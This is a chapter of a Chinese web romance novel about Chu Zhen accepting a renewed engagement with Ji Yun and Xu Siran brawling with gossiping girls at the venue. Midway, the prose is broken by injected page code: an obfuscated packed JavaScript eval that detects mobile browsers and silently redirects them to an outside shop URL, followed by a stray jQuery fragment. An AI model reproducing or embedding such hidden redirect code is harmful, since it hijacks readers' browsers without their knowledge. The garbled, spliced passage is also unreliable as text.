正当她呆愣在原地时,耳边的手机被人抽走。
手机被直接熄屏了。
褚蓁转过身,他正目光灼灼地看向她。垂落的手指蜷缩起来,她在想自己是不是应该给纪筠传达一下关恩霈的意思。
“那个...”
“嘀嘀嘀嘀~”
关恩霈的电话再次打过来,打断了褚蓁要说的话,这下也没她什么事了。她给纪筠打了个上楼的手势,拿上要看的资料准备给纪筠一个独处的空间。
就在她麻利地拿完东西经过纪筠时,他却一把拉住她的手腕,褚蓁一时不解抬头看向他。
纪筠拉着她到沙发坐下,然后当着她的面把电话接了,还开了免提,关恩霈带有怒气的低吼从中传出。
“纪筠!现在不是你任性的时候,你应该要顾及到纪家所有人!”
褚蓁愕然看向身边的人,他脸上没什么表情,无动于衷地坐着,像是习惯了对方这样和他说话。
“纪筠?你有在听我和你说话吗?”
“不管你想做什么都先放下,等许斯然成为纪家的一份子,你到时候想怎么样都行。”
纪筠歪了歪头,和一旁略显尴尬地褚蓁相顾无言。
“上次的订婚宴没了,再弄一次吧,母亲”,他道,言语中无甚波澜,关恩霈前面说的话都被他自动忽略。
褚蓁摸了摸鼻子,觉得有些局促。
“什么?”
关恩霈仿佛听到了什么让人发笑的言语,十分不可置信:“你还要和梨花的那个女学生订婚?!”
“我从高塔调来了你的资料,精神狂化的问题已经解决了,状态稳定,没必要真的和她绑上关系。”
“纪筠,那不是你应该做的。”
“什么才是我该做的?”
“你明白的。”
随后是良久的静默,两边有些僵持不下。
“伯母,我是褚蓁。”
关恩霈没想到褚蓁就在身边,但知道后也没什么慌张,她更希望褚蓁在听到这通电话以后能够识趣地离开,而不是继续纠缠不清。
“纪筠是一个独立的个体,任何事情他都可以自己做决定。他有自己的思想,有灵魂,不管是谁都应该给他最基础的尊重。如果他喜欢谁那就去追谁,而不是成为一个牵线傀儡,纪家想要长久那就学会找到立足的支撑点,但这个支撑点却不应该以纪家任何人的牺牲来建构。”
“就像您口中的许家,他们得到君主的重视是因为许斯然嫁给了谁吗?不是的,而是因为许家明白长久之计需要的实打实的能力,他们靠的是医疗上的建树。”
关恩霈没想到自己会被褚蓁灌输道理,她揉了揉眉心,舒展开皱着的眉头,笑着对着那边说:“褚蓁,你说的话挺有道理,但世界从来不会因为你的尊重而让步前行,光明和新生都是依靠痛苦铺就的。”
......
“纪筠,你要一意孤行吗”,关恩霈换了语气问道,她不想再和小丫头片子多费口舌,只单独对着纪筠再说一句。
“除此之外,我可以答应您任何事。”
那头的人得了回答没说好与不好,只是直接挂断了电话。
褚蓁看着纪筠盯着黑屏的手机发呆,起身倒了杯温水给他:“也许,我说的不一定正确,伯母也不一定是错误的,不论怎么样,你仍保有自己选择的权利。”
“那你呢,你愿意吗?”
沉默的人突然反过来问她,褚蓁却没明白他指的是什么:“愿意什么?”
“如果,我说我想要将订婚宴重新举行,你愿意吗?”
那意味着他们会签下各自的名字,成为真正的未婚夫妇。褚蓁回想起自己先前签过的那份保密文件,只要她能将纪筠的病治好,文件就会作废。
现在她算是真的没有任何束缚,完全可以自由自在去往任何地方。
甚至,现在她就可以当场订票离开克里亚。
一旁的纪筠还在等着她的回答。
她转动着指间,轻轻一拨,那枚原本怎么也拔不下来的戒指就这么轻而易举地脱落了。
纪筠显然也看见了,他不着痕迹地收回视线,端起那杯温水轻抿,他忽然不想知道答案了,那可能是一个有点悲伤的回答。
不过,如果褚蓁想走的话,那也是她的自由,就像她说的那样,她也有选择的权利。
褚蓁看着手心里的那枚戒指,没有再戴回去,她握住揣进兜里,然后捧起资料,在转身上楼的时候对着纪筠漾开笑容,她说:“愿意呀。”
————
重来一回,这次的订婚宴被纪筱一手包揽。纪家因为异种的事一直封锁着,这次的宴席地点被定在了克里亚的一个酒店里。
褚蓁也再次坐回了化妆间,纪筱在外面忙着招待宾客,许斯然则是在她身边盯着手机看。
“刚刚我进来的时候,看见纪筠哥了,他好像很开心。”
“是吗?”
自从她那天肯定回答以后,纪筠确实看起来每天心情都挺不错。原本光秃秃的院子被他轮番挖了一遍,不知道是种下了什么种子,她询问过,纪筠却只说要保密。
那枚摘掉的戒指被她用细绳串好戴在了脖间。她现在回想起来,自己也没参透当时怎么就说了愿意。
“嗯啊,他的嘴角绝对上扬了两个像素点不止。”
许斯然头也不抬地和她搭话,手指在手机屏幕上打得飞快,神情专注,连褚蓁走到她身边也没有察觉到。
“衍礼?这是谁?”
“啊!吓死我了,你怎么走过来没有声音”,许斯然捂着自己的心脏向她讨伐。
褚蓁无奈地摆摆手:“是你精神太集中了,发这么多消息,人家也没理你啊”
屏幕上一片绿意盎然,对方一条消息也没给许斯然回,被戳破的女孩一脸愤愤,撅着嘴就开始指责:“都怪他!本小姐都这么放下脸面和他聊天了,他居然不回我,等他给我回消息了,我就宣布和他绝交!!”
“铛铛铛~”
正说着,手机一震,万年没回消息的人居然给她回了一条。
[怎么了,我的大小姐?]
褚蓁挑眉,凑过去想要看看对方回了些什么,许斯然却激动地捂着手机挪到沙发一角不给她看。
“不准看不准看,你回去,回去换衣服,待会订婚宴就开始!”
“你不是说要和他绝交吗?怎么回一条消息你这么激动?”
她依稀记得许斯然不久前还为了纪筠要死要活呢,喜欢了纪筠那么久,现在坐在这参加订婚宴的许斯然看起来丝毫不难过,反而更在意手机里的人。
“...绝不绝交我有自己的衡量,你,快去换礼裙,记得把我拿来的吊坠带着送给伯母。她会喜欢的。”
褚蓁把礼物打开一看,吊坠确实很漂亮,流光溢彩,一看就知道价值不菲。不过对于关恩霈来说喜不喜欢不取决于礼物好不好,而是送礼物的是谁,也许不管她今天送什么,对方都不会喜欢。
褚蓁将礼物收好,放在抽屉里,东西她不能收,等宴席结束以后再把吊坠还给许斯然。
[徐!衍!礼!你还知道回我,电话也换了,怎么都找不到你,你还把我当朋友吗?]
许斯然发了个红眼发火的小狗表情包过去,那边没回。
但很快,一个陌生的手机号码打了过来,她立马就接听了。
“想我了没?”
对方语气吊儿郎当,低低地笑着。
许斯然摸着手机就出了门,到酒店庭院的连廊里和徐衍礼打电话。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722782|144882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“拜托,你一声不吭就走了,肯定想呀,我还担心你是不是被人谋杀了。”
听到许斯然的回答,那边笑得更大声了:“没呢,这不活得好好的吗?没回你是因为手机丢了”
“那你现在在哪里?”
“你猜。”
许斯然拿着手机在静谧的庭院里走着,听到徐衍礼逗她,她跺了跺脚就要挂断电话:“我才不要猜!你怎么每次都让我猜啊!我从来都没有猜对过,你再这样我就再也不和你说话了!”
“好好好,错了错了大小姐,我现在在一个很神秘的地方,我很安全,你不用担心。”
“那到底在哪?”
“你心里喽~”
“徐!衍!礼!我讨厌你。”
感觉到许斯然真的快要生气了,徐衍礼才堪堪收住嘴,敛了笑意:“好啦,过几天我就会回去了,到时候你要请我吃克里亚最贵的餐厅嗷。”
“才不要!”
————
褚蓁换完礼服出来时不见许斯然,房间里空无一人,桌子上还放着吃到一半的薯片。刚刚纪筱那边已经在催她们到正厅了,时间有点紧迫。
她推开门到酒店的园林里找许斯然。
“你是不是有病,脑子不好就去治,正好我家新开了家精神病院,我给你安排个单人间啊!”
褚蓁在园林里找了找,没多久就见到了许斯然,但她正指着几个女生言辞激烈地打嘴炮。
被说的那个女生显然是恼羞成怒了,推搡了一把许斯然,她手里还在通话的手机啪得一下摔在了地上。一边几个女生心神领会地上脚去踩,细高跟一扎,镶满粉色水晶的手机壳瞬间四分五裂开来。
“你这么激动干嘛?说的又不是你?”
“我记得你不是喜欢纪筠吗?现在在这装什么白莲花?”
“我看啊,你这是爱而不得,走火入魔了?连情敌都维护起来了?”
穿着白色长裙的女孩上上下下打量了一遍许斯然,卷着自己的一缕头发,讥笑着:“你这是在爱屋及乌吗?”
“笑死我了,什么爱屋及乌啊,别装好人。”
“那女的不就是想要攀附纪家嘛,为了钱而已,实话实说,我以前都没听过她。”
“好像是梨花的学生。”
“啧,原来是从破烂堆里出来的。”
几人嘻嘻哈哈地谈笑着,许斯然早就头顶冒了火,走上前就拽着肖熙雅的头发打了起来。
原本安静的庭院里很快就乱成了一锅粥。几个女孩看许斯然动手了,也跟着扑了上去,一对一的扯头花变成了几个人围攻许斯然一人。
褚蓁火急火燎跑过去,拉开人,把人堆里的许斯然扯了出来。
“你tm谁啊,拉我干什么?许斯然你敢打我!”
肖熙雅冲着拉人的褚蓁大骂。
许斯然也是一脸不服气,刚被拉开又要冲过去揍人,鼻梁上还挂了彩:“打的就是你,满嘴喷粪的臭女人!”
“好了好了,斯然你冷静一点,别动,我给你擦擦。”
褚蓁拿出那块绣着小青蛇的手绢给她擦鼻梁上冒出的血珠,疼得她咿咿呀呀乱哼:“疼疼疼~”
“还知道疼?疼还去打人?”
许斯然按住褚蓁的手,指着对面头发被她扯成丐帮帮主的肖熙雅说:“是她们先说坏话!”
“你耳朵聋啦?谁说你坏话了,跟个傻子似的,有病!趁早让许楼给你看看耳朵,看你这眼盲耳聋心瞎的样子,最好投胎再来吧嘻嘻。”
肖熙雅气焰更盛,瞪着她们两人就是一顿输出。
“你!”
褚蓁拦住即将要变身火药桶的许斯然,问:“是你先动手的?”
“冤枉啊,是她们先骂你的!”